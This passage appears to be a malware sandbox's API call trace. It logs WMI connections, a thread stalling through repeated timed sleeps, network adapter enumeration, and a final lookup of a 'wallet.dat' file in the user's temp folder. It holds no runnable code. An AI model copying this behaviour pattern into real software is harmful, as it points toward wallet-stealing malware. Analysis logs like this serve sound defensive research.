	[0102.195] CoGetObjectContext (in: riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x733a04 | out: ppv=0x733a04*=0x69a158) returned 0x0
	[0102.195] CoGetContextToken (in: pToken=0x5e9e268 | out: pToken=0x5e9e268) returned 0x0
	[0102.195] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa0, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e9e2f8 | out: ppvObject=0x5e9e2f8*=0x0) returned 0x80004002
	[0102.195] WbemLocator:IUnknown:Release (This=0x69b0aa0) returned 0x2
	[0102.195] WbemLocator:IUnknown:Release (This=0x69b0aa0) returned 0x1
	[0102.195] CoGetContextToken (in: pToken=0x5e9e8d8 | out: pToken=0x5e9e8d8) returned 0x0
	[0102.195] CoGetContextToken (in: pToken=0x5e9e838 | out: pToken=0x5e9e838) returned 0x0
	[0102.195] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0aa0, riid=0x5e9e908*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e9e904 | out: ppvObject=0x5e9e904*=0x69b0aa0) returned 0x0
	[0102.195] WbemLocator:IUnknown:AddRef (This=0x69b0aa0) returned 0x3
	[0102.195] WbemLocator:IUnknown:Release (This=0x69b0aa0) returned 0x2
	[0102.195] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bd6f8, puCount=0x5e9ea9c | out: puCount=0x5e9ea9c*=0x2) returned 0x0
	[0102.195] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=8, puBuffLength=0x5e9ea98*=0x0, pszText=0x0 | out: puBuffLength=0x5e9ea98*=0xf, pszText=0x0) returned 0x0
	[0102.195] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=8, puBuffLength=0x5e9ea98*=0xf, pszText="00000000000000" | out: puBuffLength=0x5e9ea98*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0102.195] CoCreateInstance (in: rclsid=0x73be1284*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73be12e4*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x5e9e974 | out: ppv=0x5e9e974*=0x69bd6d0) returned 0x0
	[0102.195] WbemLocator:IWbemLocator:ConnectServer (in: This=0x69bd6d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x5e9ea08 | out: ppNamespace=0x5e9ea08*=0x69b0924) returned 0x0
	[0102.205] IUnknown:QueryInterface (in: This=0x69b0924, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e9e8a4 | out: ppvObject=0x5e9e8a4*=0x72c85c) returned 0x0
	[0102.205] IClientSecurity:QueryBlanket (in: This=0x72c85c, pProxy=0x69b0924, pAuthnSvc=0x5e9e8f4, pAuthzSvc=0x5e9e8f0, pServerPrincName=0x5e9e8e8, pAuthnLevel=0x5e9e8ec, pImpLevel=0x5e9e8dc, pAuthInfo=0x5e9e8e0, pCapabilites=0x5e9e8e4 | out: pAuthnSvc=0x5e9e8f4*=0xa, pAuthzSvc=0x5e9e8f0*=0x0, pServerPrincName=0x5e9e8e8, pAuthnLevel=0x5e9e8ec*=0x6, pImpLevel=0x5e9e8dc*=0x2, pAuthInfo=0x5e9e8e0, pCapabilites=0x5e9e8e4*=0x1) returned 0x0
	[0102.205] IUnknown:Release (This=0x72c85c) returned 0x1
	[0102.205] IUnknown:QueryInterface (in: This=0x69b0924, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e9e898 | out: ppvObject=0x5e9e898*=0x72c87c) returned 0x0
	[0102.205] IUnknown:QueryInterface (in: This=0x69b0924, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e9e894 | out: ppvObject=0x5e9e894*=0x72c85c) returned 0x0
	[0102.205] IClientSecurity:SetBlanket (This=0x72c85c, pProxy=0x69b0924, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0102.205] IUnknown:Release (This=0x72c85c) returned 0x2
	[0102.205] IUnknown:Release (This=0x72c87c) returned 0x1
	[0102.205] CoTaskMemFree (pv=0x5425030) 
	[0102.206] WbemLocator:IUnknown:Release (This=0x69bd6d0) returned 0x0
	[0102.206] IUnknown:QueryInterface (in: This=0x69b0924, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e9e494 | out: ppvObject=0x5e9e494*=0x72c87c) returned 0x0
	[0102.206] IUnknown:QueryInterface (in: This=0x72c87c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e9e450 | out: ppvObject=0x5e9e450*=0x0) returned 0x80004002
	[0102.206] IUnknown:QueryInterface (in: This=0x72c87c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e9e26c | out: ppvObject=0x5e9e26c*=0x0) returned 0x80004002
	[0102.206] IUnknown:AddRef (This=0x72c87c) returned 0x3
	[0102.206] IUnknown:QueryInterface (in: This=0x72c87c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e9ddac | out: ppvObject=0x5e9ddac*=0x0) returned 0x80004002
	[0102.206] IUnknown:QueryInterface (in: This=0x72c87c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e9dd5c | out: ppvObject=0x5e9dd5c*=0x0) returned 0x80004002
	[0102.206] IUnknown:QueryInterface (in: This=0x72c87c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e9dd68 | out: ppvObject=0x5e9dd68*=0x72c7dc) returned 0x0
	[0102.206] IMarshal:GetUnmarshalClass (in: This=0x72c7dc, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e9dd70 | out: pCid=0x5e9dd70*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0102.206] IUnknown:Release (This=0x72c7dc) returned 0x3
	[0102.206] CoGetContextToken (in: pToken=0x5e9ddc8 | out: pToken=0x5e9ddc8) returned 0x0
	[0102.207] CoGetContextToken (in: pToken=0x5e9e1d0 | out: pToken=0x5e9e1d0) returned 0x0
	[0102.207] IUnknown:QueryInterface (in: This=0x72c87c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e9e260 | out: ppvObject=0x5e9e260*=0x72c864) returned 0x0
	[0102.207] IRpcOptions:Query (in: This=0x72c864, pPrx=0x72c87c, dwProperty=2, pdwValue=0x5e9e288 | out: pdwValue=0x5e9e288) returned 0x80004002
	[0102.207] IUnknown:Release (This=0x72c864) returned 0x3
	[0102.207] IUnknown:Release (This=0x72c87c) returned 0x2
	[0102.207] CoGetContextToken (in: pToken=0x5e9e7a8 | out: pToken=0x5e9e7a8) returned 0x0
	[0102.207] CoGetContextToken (in: pToken=0x5e9e708 | out: pToken=0x5e9e708) returned 0x0
	[0102.207] IUnknown:QueryInterface (in: This=0x72c87c, riid=0x5e9e7d8*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5e9e7d4 | out: ppvObject=0x5e9e7d4*=0x69b0924) returned 0x0
	[0102.207] IUnknown:AddRef (This=0x69b0924) returned 0x4
	[0102.207] IUnknown:Release (This=0x69b0924) returned 0x3
	[0102.207] IUnknown:Release (This=0x69b0924) returned 0x2
	[0102.207] SysStringLen (param_1=0x0) returned 0x0
	[0102.207] CoUninitialize () 

Thread:
	id = 164
	os_tid = 0xac8


Thread:
	id = 176
	os_tid = 0x6f0

	[0107.517] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0107.518] CoGetClassObject (in: rclsid=0x54200f4*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x6c7ea90 | out: ppv=0x6c7ea90*=0x69c0ac8) returned 0x0
	[0107.518] WbemLocator:IUnknown:QueryInterface (in: This=0x69c0ac8, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6c7eca8 | out: ppvObject=0x6c7eca8*=0x0) returned 0x80004002
	[0107.518] WbemLocator:IClassFactory:CreateInstance (in: This=0x69c0ac8, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6c7ecbc | out: ppvObject=0x6c7ecbc*=0x69c0538) returned 0x0
	[0107.518] WbemLocator:IUnknown:Release (This=0x69c0ac8) returned 0x0
	[0107.518] WbemLocator:IUnknown:QueryInterface (in: This=0x69c0538, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6c7e8dc | out: ppvObject=0x6c7e8dc*=0x69c0538) returned 0x0
	[0107.518] WbemLocator:IUnknown:QueryInterface (in: This=0x69c0538, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6c7e898 | out: ppvObject=0x6c7e898*=0x0) returned 0x80004002
	[0107.518] WbemLocator:IUnknown:AddRef (This=0x69c0538) returned 0x3
	[0107.518] WbemLocator:IUnknown:QueryInterface (in: This=0x69c0538, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6c7e1f4 | out: ppvObject=0x6c7e1f4*=0x0) returned 0x80004002
	[0107.518] WbemLocator:IUnknown:QueryInterface (in: This=0x69c0538, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6c7e1a4 | out: ppvObject=0x6c7e1a4*=0x0) returned 0x80004002
	[0107.518] WbemLocator:IUnknown:QueryInterface (in: This=0x69c0538, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6c7e1b0 | out: ppvObject=0x6c7e1b0*=0x0) returned 0x80004002
	[0107.518] CoGetContextToken (in: pToken=0x6c7e210 | out: pToken=0x6c7e210) returned 0x0
	[0107.519] CoGetContextToken (in: pToken=0x6c7e618 | out: pToken=0x6c7e618) returned 0x0
	[0107.519] WbemLocator:IUnknown:QueryInterface (in: This=0x69c0538, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6c7e6a8 | out: ppvObject=0x6c7e6a8*=0x0) returned 0x80004002
	[0107.519] WbemLocator:IUnknown:Release (This=0x69c0538) returned 0x2
	[0107.519] WbemLocator:IUnknown:Release (This=0x69c0538) returned 0x1
	[0107.519] CoGetContextToken (in: pToken=0x6c7ec88 | out: pToken=0x6c7ec88) returned 0x0
	[0107.519] CoGetContextToken (in: pToken=0x6c7ebe8 | out: pToken=0x6c7ebe8) returned 0x0
	[0107.519] WbemLocator:IUnknown:QueryInterface (in: This=0x69c0538, riid=0x6c7ecb8*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x6c7ecb4 | out: ppvObject=0x6c7ecb4*=0x69c0538) returned 0x0
	[0107.519] WbemLocator:IUnknown:AddRef (This=0x69c0538) returned 0x3
	[0107.519] WbemLocator:IUnknown:Release (This=0x69c0538) returned 0x2
	[0107.519] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69c6918, puCount=0x6c7ee4c | out: puCount=0x6c7ee4c*=0x2) returned 0x0
	[0107.519] WbemDefPath:IWbemPath:GetText (in: This=0x69c6918, lFlags=8, puBuffLength=0x6c7ee48*=0x0, pszText=0x0 | out: puBuffLength=0x6c7ee48*=0xf, pszText=0x0) returned 0x0
	[0107.519] WbemDefPath:IWbemPath:GetText (in: This=0x69c6918, lFlags=8, puBuffLength=0x6c7ee48*=0xf, pszText="00000000000000" | out: puBuffLength=0x6c7ee48*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0107.519] CoCreateInstance (in: rclsid=0x73be1284*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73be12e4*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x6c7ed24 | out: ppv=0x6c7ed24*=0x69bc9e8) returned 0x0
	[0107.519] WbemLocator:IWbemLocator:ConnectServer (in: This=0x69bc9e8, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x6c7edb8 | out: ppNamespace=0x6c7edb8*=0x69c7b54) returned 0x0
	[0107.531] IUnknown:QueryInterface (in: This=0x69c7b54, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6c7ec54 | out: ppvObject=0x6c7ec54*=0x72d0cc) returned 0x0
	[0107.531] IClientSecurity:QueryBlanket (in: This=0x72d0cc, pProxy=0x69c7b54, pAuthnSvc=0x6c7eca4, pAuthzSvc=0x6c7eca0, pServerPrincName=0x6c7ec98, pAuthnLevel=0x6c7ec9c, pImpLevel=0x6c7ec8c, pAuthInfo=0x6c7ec90, pCapabilites=0x6c7ec94 | out: pAuthnSvc=0x6c7eca4*=0xa, pAuthzSvc=0x6c7eca0*=0x0, pServerPrincName=0x6c7ec98, pAuthnLevel=0x6c7ec9c*=0x6, pImpLevel=0x6c7ec8c*=0x2, pAuthInfo=0x6c7ec90, pCapabilites=0x6c7ec94*=0x1) returned 0x0
	[0107.531] IUnknown:Release (This=0x72d0cc) returned 0x1
	[0107.531] IUnknown:QueryInterface (in: This=0x69c7b54, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6c7ec48 | out: ppvObject=0x6c7ec48*=0x72d0ec) returned 0x0
	[0107.531] IUnknown:QueryInterface (in: This=0x69c7b54, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6c7ec44 | out: ppvObject=0x6c7ec44*=0x72d0cc) returned 0x0
	[0107.531] IClientSecurity:SetBlanket (This=0x72d0cc, pProxy=0x69c7b54, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0107.532] IUnknown:Release (This=0x72d0cc) returned 0x2
	[0107.532] IUnknown:Release (This=0x72d0ec) returned 0x1
	[0107.532] CoTaskMemFree (pv=0x5425030) 
	[0107.532] WbemLocator:IUnknown:Release (This=0x69bc9e8) returned 0x0
	[0107.532] IUnknown:QueryInterface (in: This=0x69c7b54, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6c7e844 | out: ppvObject=0x6c7e844*=0x72d0ec) returned 0x0
	[0107.532] IUnknown:QueryInterface (in: This=0x72d0ec, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6c7e800 | out: ppvObject=0x6c7e800*=0x0) returned 0x80004002
	[0107.532] IUnknown:QueryInterface (in: This=0x72d0ec, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6c7e61c | out: ppvObject=0x6c7e61c*=0x0) returned 0x80004002
	[0107.532] IUnknown:AddRef (This=0x72d0ec) returned 0x3
	[0107.532] IUnknown:QueryInterface (in: This=0x72d0ec, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6c7e15c | out: ppvObject=0x6c7e15c*=0x0) returned 0x80004002
	[0107.532] IUnknown:QueryInterface (in: This=0x72d0ec, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6c7e10c | out: ppvObject=0x6c7e10c*=0x0) returned 0x80004002
	[0107.533] IUnknown:QueryInterface (in: This=0x72d0ec, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6c7e118 | out: ppvObject=0x6c7e118*=0x72d04c) returned 0x0
	[0107.533] IMarshal:GetUnmarshalClass (in: This=0x72d04c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6c7e120 | out: pCid=0x6c7e120*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0107.533] IUnknown:Release (This=0x72d04c) returned 0x3
	[0107.533] CoGetContextToken (in: pToken=0x6c7e178 | out: pToken=0x6c7e178) returned 0x0
	[0107.533] CoGetContextToken (in: pToken=0x6c7e580 | out: pToken=0x6c7e580) returned 0x0
	[0107.533] IUnknown:QueryInterface (in: This=0x72d0ec, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6c7e610 | out: ppvObject=0x6c7e610*=0x72d0d4) returned 0x0
	[0107.533] IRpcOptions:Query (in: This=0x72d0d4, pPrx=0x72d0ec, dwProperty=2, pdwValue=0x6c7e638 | out: pdwValue=0x6c7e638) returned 0x80004002
	[0107.533] IUnknown:Release (This=0x72d0d4) returned 0x3
	[0107.533] IUnknown:Release (This=0x72d0ec) returned 0x2
	[0107.533] CoGetContextToken (in: pToken=0x6c7eb58 | out: pToken=0x6c7eb58) returned 0x0
	[0107.533] CoGetContextToken (in: pToken=0x6c7eab8 | out: pToken=0x6c7eab8) returned 0x0
	[0107.533] IUnknown:QueryInterface (in: This=0x72d0ec, riid=0x6c7eb88*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x6c7eb84 | out: ppvObject=0x6c7eb84*=0x69c7b54) returned 0x0
	[0107.533] IUnknown:AddRef (This=0x69c7b54) returned 0x4
	[0107.533] IUnknown:Release (This=0x69c7b54) returned 0x3
	[0107.533] IUnknown:Release (This=0x69c7b54) returned 0x2
	[0107.533] SysStringLen (param_1=0x0) returned 0x0
	[0107.533] CoUninitialize () 

Thread:
	id = 177
	os_tid = 0x35c


Thread:
	id = 178
	os_tid = 0xbb8

	[0109.859] CoGetContextToken (in: pToken=0x5dbfb3c | out: pToken=0x5dbfb3c) returned 0x0
	[0109.859] IUnknown:QueryInterface (in: This=0x69a158, riid=0x735fd8c4*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbfb60 | out: ppvObject=0x5dbfb60*=0x69a164) returned 0x0
	[0109.859] IComThreadingInfo:GetCurrentThreadType (in: This=0x69a164, pThreadType=0x5dbfb8c | out: pThreadType=0x5dbfb8c*=0) returned 0x0
	[0109.859] IUnknown:Release (This=0x69a164) returned 0x1
	[0109.859] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0109.859] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0
	[0109.859] SleepEx (dwMilliseconds=0x186a0, bAlertable=1) returned 0x0
	[0120.120] SleepEx (dwMilliseconds=0x15f80, bAlertable=1) returned 0x0
	[0130.259] SleepEx (dwMilliseconds=0x13861, bAlertable=1) returned 0x0
	[0141.869] SleepEx (dwMilliseconds=0x11142, bAlertable=1) returned 0x0
	[0151.881] SleepEx (dwMilliseconds=0xea23, bAlertable=1) returned 0x0
	[0161.897] SleepEx (dwMilliseconds=0xc303, bAlertable=1) returned 0x0
	[0171.927] SleepEx (dwMilliseconds=0x9be4, bAlertable=1) returned 0x0
	[0181.942] SleepEx (dwMilliseconds=0x74c5, bAlertable=1) returned 0x0
	[0191.957] SleepEx (dwMilliseconds=0x4da5, bAlertable=1) returned 0x0
	[0202.879] SleepEx (dwMilliseconds=0x2686, bAlertable=1) returned 0x0
	[0212.753] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) 

Thread:
	id = 179
	os_tid = 0xbcc


Thread:
	id = 180
	os_tid = 0xbc8

	[0114.506] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0114.517] SleepEx (dwMilliseconds=0x2bf20, bAlertable=1) returned 0x0
	[0124.518] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x6c6ef18 | out: pFixedInfo=0x0, pOutBufLen=0x6c6ef18) returned 0x6f
	[0124.527] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6e0e3a8
	[0124.527] GetNetworkParams (in: pFixedInfo=0x6e0e3a8, pOutBufLen=0x6c6ef18 | out: pFixedInfo=0x6e0e3a8, pOutBufLen=0x6c6ef18) returned 0x0
	[0124.539] LocalFree (hMem=0x6e0e3a8) returned 0x0
	[0124.539] GetAdaptersAddresses () returned 0x6f
	[0124.544] LocalAlloc (uFlags=0x0, uBytes=0xe10) returned 0x6e17320
	[0124.544] GetAdaptersAddresses () returned 0x0
	[0124.549] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x6c6ec84 | out: pPerAdapterInfo=0x0, pOutBufLen=0x6c6ec84) returned 0x6f
	[0124.561] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b91f0
	[0124.561] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6b91f0, pOutBufLen=0x6c6ec84 | out: pPerAdapterInfo=0x6b91f0, pOutBufLen=0x6c6ec84) returned 0x0
	[0124.568] LocalFree (hMem=0x6b91f0) returned 0x0
	[0124.568] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x6c6ec84 | out: pPerAdapterInfo=0x0, pOutBufLen=0x6c6ec84) returned 0x6f
	[0124.576] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b91f0
	[0124.577] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6b91f0, pOutBufLen=0x6c6ec84 | out: pPerAdapterInfo=0x6b91f0, pOutBufLen=0x6c6ec84) returned 0x0
	[0124.583] LocalFree (hMem=0x6b91f0) returned 0x0
	[0124.583] LocalFree (hMem=0x6e17320) returned 0x0
	[0124.583] CoTaskMemAlloc (cb=0x20c) returned 0x6e0e3a8
	[0124.583] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x6e0e3a8 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25
	[0124.583] CoTaskMemFree (pv=0x6e0e3a8) 
	[0124.583] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x6c6eb68, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25
	[0124.584] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\wallet.dat", nBufferLength=0x105, lpBuffer=0x6c6eb58, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\wallet.dat", lpFilePart=0x0) returned 0x2f
